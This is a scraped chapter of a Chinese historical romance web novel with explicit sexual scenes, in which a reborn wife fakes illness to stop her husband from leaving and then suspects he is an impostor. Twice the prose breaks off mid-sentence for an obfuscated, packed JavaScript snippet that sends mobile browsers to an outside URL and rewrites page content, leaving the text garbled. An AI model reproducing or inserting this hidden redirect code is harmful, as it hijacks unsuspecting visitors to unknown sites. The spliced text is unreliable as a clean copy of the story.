他疯了不成? 谁要和他一起沐浴。 她看起来像是那么豁得出去的人吗? “虽然有些着急。”沈明祯满眼惊疑看着他,又忙道,“但也不是很急。” 燕崇礼点头,转身继续去收拾桌案上的物品:“既然夫人不急,那先容许我把东西收拾妥当。” 沈明祯跑过去,见燕崇礼一件一件往行囊里添东西,她慌忙一件件往外拿:“郎君误会我了,其实还是有些急的。” “你看,眼下时辰也不早了,夜里着急忙慌一通收拾,多半会遗漏一些重要的物件。” “不如我们先沐浴。” “等明日早间,让温嬷嬷带人替你一件件收拾妥帖,郎君觉得如何?” 燕崇礼停下手里的动作,握住沈明祯的手腕,很认真地问:“夫人不必勉强,不如我先收拾一番,夫人去沐浴安置。” “不不不……” “不勉强,一点都不勉强。”沈明祯内心大骂,声音却含羞带怯道,“我们是夫妻,哪能如此见外。” 燕崇礼顺势抱住对方,鼻息滚烫,缓了声音道:“夫人说得自然有道理。” “我们夫妻一体,一同沐浴,不过是为了节约时间,早些安置,没有什么见外的。” 沈明祯点头如捣蒜,就怕他下一刻立马反悔。 至于是怎么被抱进浴间,又怎么被他褪净衣裳的,她整个人昏昏沉沉,只觉得周遭一切都晕成云絮似的朦胧水汽。 “燕崇礼……”沈明祯手指抓着浴桶边缘,忽然握紧又松开。 “不是说好,只是沐浴吗?” “你怎么可以……”她语调不成句,又轻又软,带着哑涩,混在氤氲水汽里,被颠得稀碎细,几乎听不真切。 “既然是沐浴,自然得认真清理。”燕崇礼长臂收紧,将人稳稳圈在怀里,掌心熨着那单薄的脊背,温热滑腻的触感,再混着热水的缠绵,说出的话,却丝毫没有任何心软可言。 沈明祯呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801878|210053||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 吸急促,长长的眼睫沾着湿气,意识是飘的,身体越来越沉,想要挣扎起身,奈何身体使不上半分力气。 她只能被动靠在燕崇礼怀里,水汽氤氲,模糊了视线,但依旧无法忽略男人宽阔挺拔的脊背,磅礴迫人的身形,以及紧实流畅的肌肉线条。 她被他圈着,轻柔单薄,更显娇小不堪一击。 不知过了多久。 沈明祯的意识勉强回笼几分。 她感觉外头天都快亮了,浴桶内也不知添了第几次水,燕崇礼紧贴着她,温度太过灼热,比她预想的还亲昵羞人。 …… 翌日午间,沈明祯睡醒。 她躺在帐中缓了许久,四肢软绵无力,浑身骨头像是被拆解过,酸胀从身体深处泄出来,哪怕过了一整夜,她依旧像泡在水里,身体稍微动了动,就用那种潮潮的触感漫上来,令她面红耳赤,又羞又恼。 燕崇礼简直是混账! 说好的一同沐浴,结果褪了衣裳,哪里还有什么端方君子,内敛克制。 “阿温。”沈明祯朝外喊了一声,结果半天没有动静。 她挣着要起来,这时候帐幔被一只骨节分明的手撩开,燕崇礼站在交错的阴影里,嗓音带着时候的餍足:“昨夜辛苦夫人。” “实在是情难自禁。” 沈明祯一口气堵在心口,想要狠狠瞪他,又想起眼下可不能惹急他。 要把人顺毛,喂饱,最好是哄得不知东南西北。 燕崇礼朝她伸手,沈明祯很有眼色反手握住。 她用力挤出明媚的笑容:“不算辛苦,我们是夫妻,怎么能如此见外。” “也对。”然后燕崇礼就一点不见外地拿起床脚叠放的贴身衣服,像极了体贴入微的丈夫那样道,“那我替夫人穿衣吧。” 穿衣? 她有婢女嬷嬷,还需要他动手。 “阿温。”沈明祯装作没听见,继续朝外喊。 奈何屋里屋外都静悄悄,没半点回应。 人呢? 沈明祯皱眉。 燕崇礼拿起一件比他巴掌大不了多少的小衣,放在掌心里,声音低低道:“哦,忘记告诉夫人。” “温嬷嬷带着人,和万叔一起,替我收拾衣物呢。” 晴天霹雳! 他如此着急,竟是一日也等不了吗? 沈明祯腰也不酸了,人也不恼了,努力让自己对燕崇礼变得眉清目秀,她声音干巴巴假装不知问:“收拾东西,郎君要去哪里?” 燕崇礼眼帘微掀,伸手去替她换衣服,见沈明祯乖乖坐着,他唇角勾了勾,徐徐道:“也没去哪里,这段时日也许会临时外出,所以早些准备,也有个章程。” 鬼话! 全都是骗鬼的话! 说好的离不开她,说好的夫妻一体。 结果要背着她,偷偷跑了。 想都别想。 沈明祯咬牙切齿想着,面上依旧装作柔弱的模样,虚虚往燕崇礼怀里一扑。 她可怜兮兮眨了眨眼睛:“想来郎君应该是不着急的吧?” “我听嬷嬷说,明后日许是要下雨的。” “盛夏雨急,郎君出门在外,定是多有不便,不如多等几日,等天气好些再说?” 燕崇礼似有些为难,俯身用鼻尖在她眉心上蹭了蹭,狭长深邃的凤眼,蓄着很浓的笑:“我知夫人关心我,但行程在即,不可拖延。” 沈明祯咬着唇,忍着掐住对方脖子让他闭嘴的冲动,温声细语:“郎君定是不差这几日的,不如再等等。” “更何况,你我二人新婚,相处时日并不多,我对郎君也多有不解。” “不如趁着这几日子。” “我与郎君之间多多了解。” 燕崇礼唇角的阴影弯了弯,望着沈明祯眼底的忍耐,他得寸进尺,用唇轻轻划过她的鼻尖,然后经过唇瓣,最后落在她不受控制吞咽的喉结上。 舌尖伸出,轻轻舔过。 他盯着她,一字一句问:“泱泱说的。” “是这样的了解吗?” 沈明祯被推得仰倒在床上,她闭着眼睛,重重喘一声,结结巴巴否认:“不不不……” “不是什么?”燕崇礼屈膝入榻,在沈明祯看不到的地方,他的眼神邪戾而又阴鸷,语调慢条斯理,“不是这样,还能怎样?” “泱泱要我燕氏族谱,我并不介意抽空给你手写一份。” 短暂的沉默过后,燕崇礼手上动作不停,也不知有意还是无意,他总会不小心碰到昨日夜里清洗多遍的地方。 捏了捏手里雪白的亵裤,作势要替沈明祯换上:“更何况,时间紧迫,朝中要事耽误不得。” “嗯?”燕崇礼手中动作忽然顿住,“泱泱你……” “燕崇礼你不要说话,不要……” 沈明祯几乎用了吃奶的力气,手脚并用去捂他的嘴。 这一刻,燕崇礼只觉得帐幔太过厚实,他竟有些透不过气来。 就算沈明祯如何挣扎,去堵他的嘴,但是她身体直白的反应,令他愉悦,更叫他疯狂。 眉眼间压抑不住的癫色,五脏六腑都被火烧着,他又怎么会放过这样带她一起沉沦的机会。 “沈泱泱。” “你……” “又|湿|了。” 12.涔涔 沈明祯下意识蜷紧双腿,眼神躲闪,强撑出镇定模样,反驳道。 “燕崇礼。” “你莫胡说……” “我……没有……” 最后一个字,尾音几乎低不可闻。 燕崇礼目光偏过去,落在沈明祯烧红滚烫的耳尖上,他薄薄的唇,慢慢抿紧。 就算不说话,他眼中意有所指的暗色,依旧令沈明祯感到难以启齿,炙热像潮水,从骨缝深处泄出来。 她矢口否认:“我……我方才,只是不小心失手打翻茶水,泼洒沾到布料上。” “是吗?”燕崇礼目光深深,并不打算就这样轻易放过她,视线锁在那片颜色较深的痕迹上,嗓音压得低,带着一点漫不经心的沙哑。 “是的,是的。” “你得信我。” 沈明祯脊背绷得笔直,刻意避开他,不敢对视,指尖微蜷,连呼吸都放得轻。 燕崇礼笑了,狭长的眼眸里压着饶有兴味的暗色:“我该如何相信,不如……” 不如什么? 沈明祯心头咯噔一声。 燕崇礼已经俯身抵近,他咬着舌尖,嗓音哑得磨人:“既是茶水,那我便尝尝,夫人喝的是什么茶。” 这这这,这怎么尝…… 这简直荒唐! 沈明祯不受控制仰头,细长的脖颈绷紧,她呼吸乱了,整个人如同失了魂。 燕崇礼的吻,不是浅尝辄止的温存,像是积蓄了无数日夜,蛰伏许久的念想,终于在今日得偿所愿。 简直恶劣又混账! 帐子内,不大的空间,光影在帐幔上轻轻摇曳。 沈明祯这一整天,除了中午醒了那么短短一会儿,剩下的时间她全沉在如同狂风暴雨的昏沉意识里。 后来中途,她体力不支实在太饿,还是被燕崇礼抱着,亲自喂了一小碗好克化的百合鸡丝粥,勉强填饱肚子。 在太阳落山前,她连床都没有下过一次。 在这期间,沈明祯不止一次朝外边看,内心不是期盼兄长或者家中父母有事寻她,就是祈祷赶紧天公不作美,倾盆暴雨下它个五六七八日才好。 可惜,天不遂人愿,赤日炎炎,碧空万里,家中长辈也无事相寻。 …… 入夜,沈明祯终于得以喘息?。 饥肠辘辘的猛兽,被她以身饲饱,收起獠牙,又变成了温润端方的君子。 长夜无边。 燕崇礼看着怀里,哪怕睡熟,身体依旧无意识颤抖的妻子。 他缓缓收紧手臂,将她抱得更紧。 沈明祯长长的眼睫垂落,脸颊透着健康的红,呼吸绵长,终于对他卸下了所有的防备与疏离。 这一夜,曾经惶惶终日,无数个日夜的煎熬、臆想、患得患失。 那颗似乎永远空缺的心,终于被满满填平。 燕崇礼近乎贪婪地,享受着被独属于沈明祯的吸气包裹。 她是他费尽心思得来,牢牢攥住的人。 他们不光要百年好合,还要生生世世。 什么和离,什么归乡,那些所有想要远离他的念头,都该尽数斩断。 她承认也好,抗拒也罢,纵使心底不甘,来日生出怨怼,可世间万法,敌不过她沈明祯合该属于燕崇礼一人。 翌日,沈明祯睡醒,她见温嬷嬷守在一旁,手里还拿着热毛巾替她敷脖颈上实在明显得过分的吻痕。 屋外天光大亮,哪里有什么雨,太阳晃得人都睁不开眼睛,前庭花草蔫哒哒垂着。 “郎君呢?”沈明祯第一反应,是找燕崇礼。 温嬷嬷觉得二人近些日,夫妻关系简直亲密得过分,她乐见其成。 当即笑道:“郎君在前院,飞廉和祝余在整理行囊。” 什么? 都整装待发啦? 这个只知道吃干抹净的家伙! 合着她这几日费尽心思讨好,全都是白干? 沈明祯竭力克制着骂人的冲动,匆匆茫茫要起身。 “娘子这是做什么?”温嬷嬷不解地问。 沈明祯心想,我不把燕崇礼给拦下来,七年后,我们全家都得完蛋。 哪有空和温嬷嬷一个字一个字解释。 更何况,如果燕崇礼回了西京,那可是山遥路远,她长鞭莫及。 不行! 无论想什么办法,她都一定要把人给拦下。 穿好衣裳,急急忙忙要往外走,等走到一半沈明祯朝小跑跟着的温嬷嬷打量:“阿温,我这模样看着像生病吗?” 温嬷嬷跑得直喘:“娘子在说什么胡话,您瞧着哪里有半分病气。” 沈明祯眼睛眨了眨,转头往回走,一边走还不忘一边朝温嬷嬷吩咐:“你去前院,告诉郎君我生病了,病得厉害。” “这……”温嬷嬷纠结道。 沈明祯一挥手:“阿温,你只管按照我吩咐的去做。” 沈明祯回屋,给自己脸上涂了一层白粉,想了想,顺便嘴唇也涂白一些,然后有气无力躺在床上,开始装病。 消息传到燕崇礼那,他想也未想就往玄珍阁走。 夏风声裹挟着他的身影,衣袍尚且带着室外的灼热。 燕崇礼步子迈得极急,往日里一贯从容尽数散去,眉宇间凝着一层挥之不去的阴郁。 满室寂静,燕崇礼大步走向里间,嘶哑的嗓音:“泱泱,你哪里不适?” 此刻,沈明祯正拿着缠花小镜,正兴致勃勃欣赏自己看起来毫无血色的妆容。 被燕崇礼突兀的声音一惊,吓得手腕抖了抖,那镜子没拿稳,哐当一声滚到地上。 四目相对。 沈明祯一时不知是该装病,还是该捡脚踏上的镜子。 燕崇礼目光死死盯着她苍白的脸,心口骤然收紧,无边无际的恐慌铺天盖地涌上来。 “哪里不适?” “我已经让温嬷嬷去医馆请人。” “额……”装作小病而已,有必要这么紧张? 沈明祯心虚不敢看他,小声道,“也不严重,就是身子骨虚得厉害,偶尔咳嗽几声。” “或许只是偶感风格。” 燕崇礼站着,周身气压低,眼底是覆着寒霜。 他伸手,像是要去探沈明祯额心温度一样,指尖不经意从她脸颊擦过,声音低低:“你先躺着,医正很快就来。” 燕崇礼抿着唇,眼眸微眯落在沾了白粉的指腹上。 “好。”沈明祯愈发心虚,只好乖乖躺下。 “温嬷嬷先去小厨房,把熬药的炉子烧起来。”燕崇礼转过身,忽然朝外边吩咐。 熬药? 沈明祯瞪圆了眼睛,整个人吓得差点从床上弹起。 “好好躺着,不要乱动。”燕崇礼侧身看她,一掀衣袍在床沿坐下,手掌心用力,重重又把沈明祯给摁了回去。 “应该不是很严重吧。” “不至于吃药吧。” “郎君,我觉得我这点风寒……也许明日就好了。”沈明祯支支吾吾。 燕崇礼像是没有听见,语调关切道:“怎么可以,风寒不是小事,不可掉以轻心。” 他说着,又用手背贴了贴沈明祯的额头:“我瞧着有些发热,夫人还是躺下吧。” “不用不用,我感觉现在就好了,不用等到明日的。”沈明祯急得快哭了。 燕崇礼像是没有注意到她脸上的急切,声音低低的:“夫人不可大意,我先替你号号脉。” 说罢,燕崇礼两指并拢,搭在沈明祯的脉搏上。 强健有力,这是一具年轻健康,充满活力的身体。 沈明祯能感到手腕上,对方指腹传来的温热,而且燕崇礼轻轻摩挲的动作,刮得她那手腕块肌肤又烫又痒。 没多久,医正来了,温嬷嬷着急忙慌跟在后头。 隔着帕子,医正把脉。 他时而皱眉,时而低头,下巴的山羊胡子更是情急之下被扯下几根。 沈明祯也慌了:“很……很严重吗?” 医正刚想说,健康得让他有点怀疑自己的医术,就被燕崇礼拦下,带到外间。 不多时。 方子开好了,廊下小药炉烧起来,浓重的汤药味扑鼻。 沈明祯不想面对这个可怕的现实,拉着燕崇礼的衣袖,可怜兮兮:“郎君,方才那医生,是庸医吧。” “我觉得我都大好了,怎么还要开药呢?” “是药三分毒,不能乱喝的对不对。” “你那方子给我看看,是不是为了赚银两,多写了几味药材。” 燕崇礼不为所动,目光忍着怒意盯着沈明祯,一字一句道:“既然生病,那就好好喝药。” “等下回医正把脉,什么时候他说你好了,那药就什么时候停。” 什么叫偷鸡不成蚀把米,沈明祯觉得自己简直倒霉透顶。 等到中午,午膳过后。 燕崇礼果然端了一碗漆黑的药汁,走到床前:“先起来,把药吃了。” 沈明祯努力往被子里缩,整个人鹌鹑似的,嘀咕道:“我没病,我不喝药。” 燕崇礼半点心软也无:“早晨见你,嘴唇不带半分血色,哪里还能没病。” “我不……” “呜呜。”沈明祯气死了。 但是无论她怎么撒娇,燕崇礼今日简直郎心如铁,不见半分动摇。 漆黑的一小碗药汁,她才被逼着抿一小口,苦得当场眼泪直掉。 “这是什么方子,怎么这么苦?” 燕崇礼当着她的面,面无表情喝了一小口,眉毛都没皱一下:“我觉得不苦,分明加了蜜水的。” 怎么可能! 沈明祯觉得她舌头都快要苦掉了,哪里来得蜜水,鬼话骗谁呢。 还有这个方子,到底是哪个庸医开的,简直丧尽天良,恐怕黄连都没有那么苦吧。 温嬷嬷站在一旁,想劝又不敢开口。 娘子装病这事,也不知怎么惹着郎君的逆鳞了。 平日含在嘴里怕化,捧在手心里怕摔了的小娘子,这会儿被逼着喝那苦汤长教训。 方子是燕崇礼写的,是莲子心炖鸡,只是格外加了苦参、黄连,两味药。 单单是黄连就能要人命的苦,何况还有莲子心和苦参。 温嬷嬷想想都眉头紧皱,也不知郎君哪来的耐性,每□□她家娘子喝一小碗就算了,自己也一碗不落地陪喝。 沈明祯的“病”,终于在第四日渐渐痊愈。 也不能说是“痊愈”,而是她终于装不下去了,眼睛红红跟兔子似的和燕崇礼认错。 “我真的错了,下次也不敢了。”沈明祯委屈、可怜、鼻尖通红。 燕崇礼面无表情问:“还有下次?” 沈明祯赶紧摇头,楚楚可怜保证:“绝对没有下次。” 燕崇礼居高临下看她,薄唇抿紧的样子,严肃异常:“泱泱说说吧,为什么要装病?” 原本,沈明祯还哭得起劲,闻言整个人哭声一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804871|210053||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,双手不安绞紧。 她能怎么说? 因为怕他半夜跑路吗? 这话也不能说。 漂亮的眼珠子眨了眨,她被燕崇礼盯得浑身发毛,干脆豁出去道:“我想郎君多多关心我,才装病的。” 燕崇礼似笑非笑地看着:“当真如此?” 沈明祯轻轻点头:“自然是这般。” 燕崇礼靠近她,附在她耳畔,哑声问:“难道前几日,泱泱觉得还是不够,所以才装病?” 怎么可能! 前几日那种频繁程度,她光吃他就好了,连饭都可以不用吃了。 拧一拧,可能从里到外都是水。 “不不不……” “我觉得够的。” 装作扭捏,实则沈明祯已经气得想咬人:“只是……只是觉得自己一刻也离不开郎君。” “您最好无论去哪里,都一定记得带上我。” “我若是一个时辰不见你,可能心里就不受控制,想得发慌。” 燕崇礼轻叹,好似信了那般,伸手把沈明祯紧紧抱住:“我就知道泱泱心里有我,一刻也离不开我的。” 说到这里,他忽然话锋一转:“泱泱归家,也小住快一月光景。” “不知泱泱可记得之前许诺我的,就算能归家住上三日也心满意足。” “不知泱泱打算什么时候,准备起身回西京?” 沈明祯心里暗骂,他果然是要回去的,还想把她也一起带回去。 怎么可能。 她不走,他若事情没办成,他也别想走。 就算是找家里的哥哥们一起,绑也要把燕崇礼强留在钱塘。 “郎君。” “日复一日,我难免贪心些。” “您不如陪着我多住些时日吧。”沈明祯双眸似含水,仰头看着燕崇礼,装出一副孺慕之情,“我家中哥哥多,许多你都不曾见过。” “更何况,郎君的奉旨留在江南,不也合情合理。” 燕崇礼轻笑,却并未应声。 沈明祯装作体贴往他怀里贴了贴:“我怕郎君吃得不习惯,前些日,在江南给你找了个西京过来的厨子,说西京菜做得一绝,郎君要不要尝尝?” 正午,午膳的时辰。 温嬷嬷带着婢女,在小花厅摆膳。 沈明祯看似在认真用膳,实际上,她一直在观察燕崇礼的一举一动。 每一样菜都尝过,既没有表现得喜欢,也没有表现出不满。 “郎君觉得如何?”沈明祯问。 燕崇礼点头,给她夹了一筷子菜:“尚可。” 只是尚可吗? 这个厨子可是她花重金请来的,怎么才尚可,她明明觉得味道做得挺正宗的。 真是奇怪了。 这时候,温嬷嬷端了一盘醋鱼上前。 沈明祯正准备让温嬷嬷把醋鱼拿走,因为燕崇礼闻不得鱼腥味。 没想到燕崇礼看见醋鱼,在沈明祯震惊的视线下,伸筷夹起,慢慢放进嘴里。 沈明祯着急道:“不好吃可以吐出来。” 燕崇礼没说话。 小花厅,这一刻安静落针可闻。 沈明祯小心翼翼看着燕崇礼:“不好吃不用勉强。” 她根本掩饰不住,脸上的紧张。 燕崇礼不喜欢任何河鲜的腥味,最严重的就是鱼。 喉结滚动,咽下去后,燕崇礼对上沈明祯的视线,很认真地说:“好吃的。” 怎么可能。 沈明祯一副见鬼的模样。 前世她见过燕崇礼不小心吃到鱼的样子,冷汗,呕吐,身体是不受控制的生理反应。 但眼下,燕崇礼并没有。 他只是慢慢拿茶水,抿了一小口,神色并无半分不妥。 “夫人怎么如此惊讶?” 燕崇礼又夹起一块鱼肉,张口咬住,慢慢地咀嚼,不解地问:“夫人不尝尝?” 沈明祯怔怔地盯着她,根本回不过神。 他是谁? 真的是燕崇礼吗? 不会是被什么脏东西附身了吧? 心里这样想,沈明祯格外紧张问:“夫君不是,从不吃鱼吗?” 燕崇礼搁下筷子,很自然地擦擦手,抬眸看她透着不解:“为什么不吃?” 他甚至笑了笑,缓缓又夹起一筷子:“夫人好生奇怪?鱼肉鲜美,我何时说过自己不吃鱼?” 怎么可能,前一世,沈明祯分明记得清楚,燕崇礼是从来不吃鱼的。 因为吃食方面不同,她和他一直很疏离。 一开始的时候,她甚至费尽心思学了很多鱼的做法,但是每次她亲手做出来的鱼,他就算当她的面吃下一点点,事后他都会悄悄吐掉。 因为这样,沈明祯也渐渐冷了心,本来夫妻间就聚少离多,他对她多半是有意见的。 再后来,两人不远不近保持着相敬如宾的关系,她把自己缩进壳子里,小心翼翼藏好所有的喜欢,觉得日子也就这样,平平淡淡过着,无可厚非。 为什么所有的事情都不一样了。 难不成,眼前人根本不是燕崇礼,他还有同胞的兄弟,顶了他的身份? 无论是什么东西。 沈明祯笃定,眼前这个男人,绝对不可能是前世的燕崇礼。 沈明祯抬眸,四目相对。 咄咄逼人的视线,直视对面的燕崇礼,像是要撕开他俊逸皮囊下的伪装。 “你是谁?”